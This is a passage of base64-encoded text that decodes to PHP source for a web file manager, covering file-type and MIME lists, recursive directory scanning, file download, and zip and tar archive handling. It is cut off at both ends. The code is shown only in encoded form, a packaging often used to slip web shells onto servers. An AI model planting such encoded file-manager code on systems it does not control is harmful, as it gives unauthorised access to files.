2snLCAnZHRkJywgJ3N2ZycsICdhc3AnLCAnYXNweCcsICdhc3gnLCAnYXNteCcsICdhc2h4JywgJ2pzcCcsICdqc3B4JywgJ2NnaScsICdkb2NrZXJmaWxlJywgJ3J1YnknLCAneW1sJywgJ3lhbWwnLCAndG9tbCcsCiAgICAgICAgJ3Zob3N0JywgJ3NjcHQnLCAnYXBwbGVzY3JpcHQnLCAnY3N4JywgJ2NzaHRtbCcsICdjKysnLCAnY29mZmVlJywgJ2NmbScsICdyYicsICdncmFwaHFsJywgJ211c3RhY2hlJywgJ2ppbmphJywgJ2h0dHAnLCAnaGFuZGxlYmFycycsCiAgICAgICAgJ2phdmEnLCAnZXMnLCAnZXM2JywgJ21hcmtkb3duJywgJ3dpa2knLCAndG1wJywgJ3RvcCcsICdib3QnLCAnZGF0JywgJ2JhaycsICdodHBhc3N3ZCcsICdwbCcKICAgICk7Cn0KCi8qKgogKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF90ZXh0X21pbWVzKCkKewogICAgcmV0dXJuIGFycmF5KAogICAgICAgICdhcHBsaWNhdGlvbi94bWwnLAogICAgICAgICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAnYXBwbGljYXRpb24veC1qYXZhc2NyaXB0JywKICAgICAgICAnaW1hZ2Uvc3ZnK3htbCcsCiAgICAgICAgJ21lc3NhZ2UvcmZjODIyJywKICAgICAgICAnYXBwbGljYXRpb24vanNvbicsCiAgICApOwp9CgovKioKICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3L28gZXh0ZW5zaW9ucwogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9nZXRfdGV4dF9uYW1lcygpCnsKICAgIHJldHVybiBhcnJheSgKICAgICAgICAnbGljZW5zZScsCiAgICAgICAgJ3JlYWRtZScsCiAgICAgICAgJ2F1dGhvcnMnLAogICAgICAgICdjb250cmlidXRvcnMnLAogICAgICAgICdjaGFuZ2Vsb2cnLAogICAgKTsKfQoKLyoqCiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnMKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkKewogICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTsKfQoKLyoqCiAqIEl0IHJldHVybnMgdGhlIG1pbWUgdHlwZSBvZiBhIGZpbGUgYmFzZWQgb24gaXRzIGV4dGVuc2lvbi4KICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLgogKiBAcmV0dXJuIHN0cmluZ3xzdHJpbmdbXSBUaGUgbWltZSB0eXBlIG9mIHRoZSBmaWxlLgogKi8KZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfbWltZXMoJGV4dGVuc2lvbikKewogICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb24veC1zaG9ja3dhdmUtZmxhc2gnOwogICAgJGZpbGVUeXBlc1sncGRmJ10gPSAnYXBwbGljYXRpb24vcGRmJzsKICAgICRmaWxlVHlwZXNbJ2V4ZSddID0gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7CiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvbi96aXAnOwogICAgJGZpbGVUeXBlc1snZG9jJ10gPSAnYXBwbGljYXRpb24vbXN3b3JkJzsKICAgICRmaWxlVHlwZXNbJ3hscyddID0gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbCc7CiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvbi92bmQubXMtcG93ZXJwb2ludCc7CiAgICAkZmlsZVR5cGVzWydnaWYnXSA9ICdpbWFnZS9naWYnOwogICAgJGZpbGVUeXBlc1sncG5nJ10gPSAnaW1hZ2UvcG5nJzsKICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZS9qcGcnOwogICAgJGZpbGVUeXBlc1snanBnJ10gPSAnaW1hZ2UvanBnJzsKICAgICRmaWxlVHlwZXNbJ3dlYnAnXSA9ICdpbWFnZS93ZWJwJzsKICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZS9hdmlmJzsKICAgICRmaWxlVHlwZXNbJ3JhciddID0gJ2FwcGxpY2F0aW9uL3Jhcic7CgogICAgJGZpbGVUeXBlc1sncmEnXSA9ICdhdWRpby94LXBuLXJlYWxhdWRpbyc7CiAgICAkZmlsZVR5cGVzWydyYW0nXSA9ICdhdWRpby94LXBuLXJlYWxhdWRpbyc7CiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpby94LXBuLXJlYWxhdWRpbyc7CgogICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW8veC1tc3ZpZGVvJzsKICAgICRmaWxlVHlwZXNbJ3dtdiddID0gJ3ZpZGVvL3gtbXN2aWRlbyc7CiAgICAkZmlsZVR5cGVzWydhdmknXSA9ICd2aWRlby94LW1zdmlkZW8nOwogICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW8veC1tc3ZpZGVvJzsKICAgICRmaWxlVHlwZXNbJ2RpdngnXSA9ICd2aWRlby94LW1zdmlkZW8nOwoKICAgICRmaWxlVHlwZXNbJ21wMyddID0gJ2F1ZGlvL21wZWcnOwogICAgJGZpbGVUeXBlc1snbXA0J10gPSAnYXVkaW8vbXBlZyc7CiAgICAkZmlsZVR5cGVzWydtcGVnJ10gPSAndmlkZW8vbXBlZyc7CiAgICAkZmlsZVR5cGVzWydtcGcnXSA9ICd2aWRlby9tcGVnJzsKICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvL21wZWcnOwogICAgJGZpbGVUeXBlc1snbW92J10gPSAndmlkZW8vcXVpY2t0aW1lJzsKICAgICRmaWxlVHlwZXNbJ3N3ZiddID0gJ3ZpZGVvL3F1aWNrdGltZSc7CiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlby9xdWlja3RpbWUnOwogICAgJGZpbGVUeXBlc1snbTRhJ10gPSAndmlkZW8vcXVpY2t0aW1lJzsKICAgICRmaWxlVHlwZXNbJ2FhYyddID0gJ3ZpZGVvL3F1aWNrdGltZSc7CiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlby9xdWlja3RpbWUnOwoKICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvbi94LXBocCddOwogICAgJGZpbGVUeXBlc1snaHRtbCddID0gWyd0ZXh0L2h0bWwnXTsKICAgICRmaWxlVHlwZXNbJ3R4dCddID0gWyd0ZXh0L3BsYWluJ107CiAgICAvL1Vua25vd24gbWltZS10eXBlcyBzaG91bGQgYmUgJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScKICAgIGlmKGVtcHR5KCRmaWxlVHlwZXNbJGV4dGVuc2lvbl0pKSB7CiAgICAgICRmaWxlVHlwZXNbJGV4dGVuc2lvbl0gPSBbJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSddOwogICAgfQogICAgcmV0dXJuICRmaWxlVHlwZXNbJGV4dGVuc2lvbl07Cn0KCi8qKgogKiBUaGlzIGZ1bmN0aW9uIHNjYW5zIHRoZSBmaWxlcyBhbmQgZm9sZGVyIHJlY3Vyc2l2ZWx5LCBhbmQgcmV0dXJuIG1hdGNoaW5nIGZpbGVzCiAqIEBwYXJhbSBzdHJpbmcgJGRpcgogKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXIKICogQHJldHVybiBhcnJheXxudWxsCiAqLwogZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJykgewogICAgJHBhdGggPSBGTV9ST09UX1BBVEguJy8nLiRkaXI7CiAgICAgaWYoJHBhdGgpIHsKICAgICAgICAgJGl0ZSA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkcGF0aCkpOwogICAgICAgICAkcmlpID0gbmV3IFJlZ2V4SXRlcmF0b3IoJGl0ZSwgIi8oIiAuICRmaWx0ZXIgLiAiKS9pIik7CgogICAgICAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7CiAgICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7CiAgICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7CiAgICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7CiAgICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgIm5hbWUiID0+ICRmaWxlTmFtZSwKICAgICAgICAgICAgICAgICAgICAgInR5cGUiID0+ICJmaWxlIiwKICAgICAgICAgICAgICAgICAgICAgInBhdGgiID0+ICRsb2NhdGlvbiwKICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgfQogICAgICAgICB9CiAgICAgICAgIHJldHVybiAkZmlsZXM7CiAgICAgfQp9CgovKioKKiBQYXJhbWV0ZXJzOiBkb3dubG9hZEZpbGUoRmlsZSBMb2NhdGlvbiwgRmlsZSBOYW1lLAoqIG1heCBzcGVlZCwgaXMgc3RyZWFtaW5nCiogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXMKKiBpbnN0ZWFkIG9mIGRvd25sb2FkIHByb21wdAoqIGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vYS8xMzgyMTk5Mi8xMTY0NjQyCiovCmZ1bmN0aW9uIGZtX2Rvd25sb2FkX2ZpbGUoJGZpbGVMb2NhdGlvbiwgJGZpbGVOYW1lLCAkY2h1bmtTaXplICA9IDEwMjQpCnsKICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApCiAgICAgICAgcmV0dXJuIChmYWxzZSk7CiAgICAkZXh0ZW5zaW9uID0gcGF0aGluZm8oJGZpbGVOYW1lLCBQQVRISU5GT19FWFRFTlNJT04pOwoKICAgICRjb250ZW50VHlwZSA9IGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pOwoKICAgIGlmKGlzX2FycmF5KCRjb250ZW50VHlwZSkpIHsKICAgICAgICAkY29udGVudFR5cGUgPSBpbXBsb2RlKCcgJywgJGNvbnRlbnRUeXBlKTsKICAgIH0KCiAgICAkc2l6ZSA9IGZpbGVzaXplKCRmaWxlTG9jYXRpb24pOwoKICAgIGlmICgkc2l6ZSA9PSAwKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ1plcm8gYnl0ZSBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CgogICAgICAgIHJldHVybiAoZmFsc2UpOwogICAgfQoKICAgIEBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIDApOwogICAgJGZwID0gZm9wZW4oIiRmaWxlTG9jYXRpb24iLCAicmIiKTsKCiAgICBpZiAoJGZwID09PSBmYWxzZSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICAgICAgcmV0dXJuIChmYWxzZSk7CiAgICB9CgogICAgLy8gaGVhZGVycwogICAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7CiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsKICAgIGhlYWRlcignQ2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wJyk7CiAgICBoZWFkZXIoJ1ByYWdtYTogcHVibGljJyk7CiAgICBoZWFkZXIoIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeSIpOwogICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICRjb250ZW50VHlwZSIpOwoKICAgICRjb250ZW50RGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCc7CgogICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICJNU0lFIikpIHsKICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJy9cLi8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiAkY29udGVudERpc3Bvc2l0aW9uO2ZpbGVuYW1lPVwiJGZpbGVOYW1lXCIiKTsKICAgIH0gZWxzZSB7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiAkY29udGVudERpc3Bvc2l0aW9uO2ZpbGVuYW1lPVwiJGZpbGVOYW1lXCIiKTsKICAgIH0KCiAgICBoZWFkZXIoIkFjY2VwdC1SYW5nZXM6IGJ5dGVzIik7CiAgICAkcmFuZ2UgPSAwOwoKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9SQU5HRSddKSkgewogICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKCI9IiwgJF9TRVJWRVJbJ0hUVFBfUkFOR0UnXSk7CiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCAiLSIsICRyYW5nZSk7CiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxOwogICAgICAgICRuZXdfbGVuZ3RoID0gJHNpemUgLSAkcmFuZ2U7CiAgICAgICAgaGVhZGVyKCJIVFRQLzEuMSAyMDYgUGFydGlhbCBDb250ZW50Iik7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LUxlbmd0aDogJG5ld19sZW5ndGgiKTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtUmFuZ2U6IGJ5dGVzICRyYW5nZSRzaXplMi8kc2l6ZSIpOwogICAgfSBlbHNlIHsKICAgICAgICAkc2l6ZTIgPSAkc2l6ZSAtIDE7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LVJhbmdlOiBieXRlcyAwLSRzaXplMi8kc2l6ZSIpOwogICAgICAgIGhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiAkc2l6ZSk7CiAgICB9CiAgICAkZmlsZUxvY2F0aW9uID0gcmVhbHBhdGgoJGZpbGVMb2NhdGlvbik7CiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpOwogICAgcmVhZGZpbGUoJGZpbGVMb2NhdGlvbik7CgogICAgZmNsb3NlKCRmcCk7CgogICAgcmV0dXJuICgoY29ubmVjdGlvbl9zdGF0dXMoKSA9PSAwKSBhbmQgIWNvbm5lY3Rpb25fYWJvcnRlZCgpKTsKfQoKLyoqCiAqIElmIHRoZSB0aGVtZSBpcyBkYXJrLCByZXR1cm4gdGhlIHRleHQtd2hpdGUgYW5kIGJnLWRhcmsgY2xhc3Nlcy4KICogQHJldHVybiBzdHJpbmcgdGhlIHZhbHVlIG9mIHRoZSAgdmFyaWFibGUuCiAqLwpmdW5jdGlvbiBmbV9nZXRfdGhlbWUoKSB7CiAgICAkcmVzdWx0ID0gJyc7CiAgICBpZihGTV9USEVNRSA9PSAiZGFyayIpIHsKICAgICAgICAkcmVzdWx0ID0gInRleHQtd2hpdGUgYmctZGFyayI7CiAgICB9CiAgICByZXR1cm4gJHJlc3VsdDsKfQoKLyoqCiAqIENsYXNzIHRvIHdvcmsgd2l0aCB6aXAgZmlsZXMgKHVzaW5nIFppcEFyY2hpdmUpCiAqLwpjbGFzcyBGTV9aaXBwZXIKewogICAgcHJpdmF0ZSAkemlwOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICB7CiAgICAgICAgJHRoaXMtPnppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISkKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcGFyYW0gYXJyYXl8c3RyaW5nICRmaWxlcwogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpCiAgICB7CiAgICAgICAgJHJlcyA9ICR0aGlzLT56aXAtPm9wZW4oJGZpbGVuYW1lLCBaaXBBcmNoaXZlOjpDUkVBVEUpOwogICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7CiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpOwogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+YWRkRmlsZU9yRGlyKCRmaWxlcykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aCkKICAgIHsKICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUpOwogICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHsKICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBmaWxlL2ZvbGRlciB0byBhcmNoaXZlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICBpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7CiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkZmlsZW5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHkKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aCkKICAgIHsKICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEVtcHR5RGlyKCRwYXRoKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7CiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkgewogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgewogICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnppcC0+YWRkRmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KCi8qKgogKiBDbGFzcyB0byB3b3JrIHdpdGggVGFyIGZpbGVzICh1c2luZyBQaGFyRGF0YSkKICovCmNsYXNzIEZNX1ppcHBlcl9UYXIKewogICAgcHJpdmF0ZSAkdGFyOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICB7CiAgICAgICAgJHRoaXMtPnRhciA9IG51bGw7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISkKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcGFyYW0gYXJyYXl8c3RyaW5nICRmaWxlcwogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpCiAgICB7CiAgICAgICAgJHRoaXMtPnRhciA9IG5ldyBQaGFyRGF0YSgkZmlsZW5hbWUpOwogICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICAgICAgJGYgPSBmbV9jbGVhbl9wYXRoKCRmKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUykKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpCiAgICB7CiAgICAgICAgJHJlcyA9ICR0aGlzLT50YXItPm9wZW4oJGZpbGVuYW1lKTsKICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgZmlsZS9mb2xkZXIgdG8gYXJjaGl2ZQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZEZpbGVPckRpcigkZmlsZW5hbWUpCiAgICB7CiAgICAgICAgaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpOwogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkZmlsZW5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHkKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aCkKICAgIHsKICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKLyoqCiAqIFNhdmUgQ29uZmlndXJhdGlvbgogKi8KIGNsYXNzIEZNX0NvbmZpZwp7CiAgICAgdmFyICRkYXRhOwoKICAgIGZ1bmN0aW9uIF9fY29